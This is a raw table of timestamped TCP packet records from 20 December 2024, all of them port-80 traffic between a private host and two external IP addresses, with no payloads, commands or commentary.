Dec 20, 2024 07:12:47.558288097 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.558404922 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.558563948 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.558861017 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.558967113 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.558999062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.559169054 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.559298038 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.559437990 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.559896946 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.559957027 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.559957981 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.560018063 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.560327053 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.560435057 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.560467958 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.560935974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.560991049 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.560992956 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.561053991 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.561342955 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.561475039 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.561506987 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.561567068 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.562001944 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.562066078 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.562124014 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.562371016 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.562402964 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.562480927 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.563050032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.563107967 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.563110113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.563154936 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.563256979 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.563358068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.563488007 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.563637972 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.564083099 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.564157963 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.564209938 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.564388037 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.564419985 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.564502001 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.565105915 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.565138102 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.565212965 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.565435886 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.565464020 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.565546989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.566147089 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.566257954 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.566310883 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.566312075 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.566416979 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.566560984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.566801071 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.567157984 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.567210913 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.567234039 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.567440987 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.567473888 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.567555904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.567606926 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.568211079 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.568293095 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.568334103 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.568396091 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.568444967 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.568588018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.568727016 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.569242954 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.569314957 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.569356918 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.569461107 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.569493055 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.569602013 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.570282936 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.570382118 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.570426941 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.570435047 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.570502043 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.570612907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.571346045 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.571378946 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.571423054 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.571536064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.571564913 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.571630955 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.571872950 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.572345972 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.572487116 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.572525978 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.572592020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.572624922 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.572627068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.572808981 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.573384047 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.573508978 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.573510885 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.573625088 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.573628902 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.573664904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.573823929 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.574472904 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.574577093 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.574609041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.574630976 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.574666023 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.574703932 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.575043917 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.575480938 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.575612068 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.575639963 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.575664997 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.575700045 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.575726986 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.576509953 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.576562881 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.576565027 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.576626062 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.576678038 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.576704979 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.576711893 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.577313900 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.577519894 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.577594995 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.577666998 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.577719927 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.577754021 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.577788115 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.577792883 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.578603983 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.578706980 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.578737974 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.578742027 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.578773022 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.579615116 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.579714060 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.579750061 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.579996109 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.580661058 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.580764055 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.580780983 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.581543922 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.581701994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.581815004 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.582753897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.582784891 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.582875013 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.583125114 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.583786011 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.583895922 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.583919048 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.584229946 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.584820032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.584920883 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.584947109 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.585267067 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.585783958 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.588005066 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.618877888 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.641406059 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.717528105 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.717541933 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.717602015 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.717945099 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.718180895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.718231916 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.718286991 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.719204903 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.719288111 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.719341993 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.720204115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.720325947 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.720376968 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.721220970 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.721313953 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.721755981 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.722259998 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.722372055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.722485065 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.723275900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.723388910 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.723402023 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.723412991 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.723413944 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.723464966 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.723464966 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.724004030 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.724073887 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.724097013 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.724172115 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.724302053 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.724375010 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.724401951 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.724694967 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.724811077 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.725001097 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.725306988 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.725385904 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.725455046 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.725744009 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.725799084 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.725837946 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.725935936 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.726381063 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.726469994 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.726495981 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.726771116 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.726799965 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.726825953 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.727266073 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.727341890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.727395058 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.727464914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.727791071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.727844000 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.727906942 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.728003979 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.728379011 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.728632927 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.728847027 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.728904963 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.728907108 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.728940964 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.728996038 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.729387045 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.729537964 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.729542971 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.729892015 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.730007887 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.730036020 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.730405092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.730453968 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.730454922 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.730515957 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.730938911 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.731000900 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.731045008 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.731431961 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.731463909 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.731543064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.731961012 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.731993914 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.732053995 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.732414961 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.732439995 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.732527971 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.733000040 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.733026028 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.733089924 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.733280897 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.733439922 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.733499050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.733529091 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.734038115 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.734091997 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.734129906 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.734208107 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.734491110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.734565973 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.734601021 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.735076904 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.735146999 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.735213041 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.735346079 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.735487938 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.735622883 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.735652924 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.736112118 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.736166954 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.736203909 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.736358881 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.736519098 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.736624956 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.736650944 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.737153053 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.737209082 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.737236977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.737328053 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.737569094 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.737586975 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.737612963 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.738197088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.738300085 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.738354921 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.738571882 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.738656044 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.738667965 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.739224911 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.739276886 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.739331007 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.739414930 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.739607096 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.739670038 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.739712000 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.740252018 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.740362883 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.740374088 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.740421057 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.740587950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.740663052 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.740703106 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.741282940 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.741368055 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.741384029 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.741447926 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.741617918 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.741733074 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.741739988 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.742328882 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.742440939 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.742468119 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.742538929 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.742626905 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.742705107 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.742712975 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.743367910 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.743432999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.743489027 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.743689060 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.743789911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.743808985 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.744455099 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.744519949 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.744550943 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.744668007 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.744729996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.744796038 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.744856119 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.745476007 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.745511055 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.745570898 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.745711088 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.745737076 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.745826960 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.745827913 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.746515036 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.746658087 CET	49867	80	192.168.2.4	31.41.244.11
